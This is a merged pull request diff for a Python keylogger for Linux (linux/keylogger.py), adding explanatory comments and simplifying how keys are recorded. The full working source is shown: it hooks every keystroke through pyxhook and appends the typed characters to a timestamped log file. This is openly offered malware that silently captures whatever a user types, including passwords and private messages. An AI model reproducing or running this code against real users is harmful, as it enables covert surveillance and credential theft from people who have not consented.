Merge pull request #107 from igosad/master

comments added to linux version

linux/keylogger.py

@@ -1,46 +1,40 @@
-#!/usr/bin/env python 
+# import needed modules
 import os
 from datetime import datetime
 import pyxhook
 
+# main function
 def main():
-    log_file=f'{os.getcwd()}/{datetime.now().strftime("%d-%m-%Y|%H:%M")}.log'
+    # specify the name of the file (can be changed )
+    log_file = f'{os.getcwd()}/{datetime.now().strftime("%d-%m-%Y|%H:%M")}.log'
+
+    # the logging function with {event parm}
     def OnKeyPress(event):
-        with open(log_file, 'a') as f:
-            if event.Key == 'space':
-                f.write(' ')
-            elif event.Key == 'P_Enter' :
-                f.write('\n')
-            elif event.Key == 'Return' :
+
+        with open(log_file, "a") as f:  # open a file as f with Append (a) mode
+            if event.Key == 'P_Enter' :
                 f.write('\n')
-            elif event.Key == 'comma' :
-                f.write(',')
-            elif event.Key == 'semicolon' :
-                f.write(';')
-            elif event.Key == 'colon' :
-                f.write(':')
-            elif event.Key == 'exclam' :
-                f.write('!')
-            elif event.Key == 'period' :
-                f.write('.')
             else:
-                f.write(f'{event.Key}')
+                f.write(f"{chr(event.Ascii)}")  # write to the file / convert ascii to readable characters
 
+    # create a hook manager object
     new_hook = pyxhook.HookManager()
     new_hook.KeyDown = OnKeyPress
-    new_hook.HookKeyboard()
+
+    new_hook.HookKeyboard()  # set the hook
 
     try:
-        new_hook.start()
+        new_hook.start()  # start the hook
     except KeyboardInterrupt:
         # User cancelled from command line.
         pass
     except Exception as ex:
         # Write exceptions to the log file, for analysis later.
-        msg = f'Error while catching events:\n  {ex}'
+        msg = f"Error while catching events:\n  {ex}"
         pyxhook.print_err(msg)
-        with open(log_file, 'a') as f:
-            f.write(f'\n{msg}')
+        with open(log_file, "a") as f:
+            f.write(f"\n{msg}")
+
 
-if __name__ == '__main__':
+if __name__ == "__main__":
     main()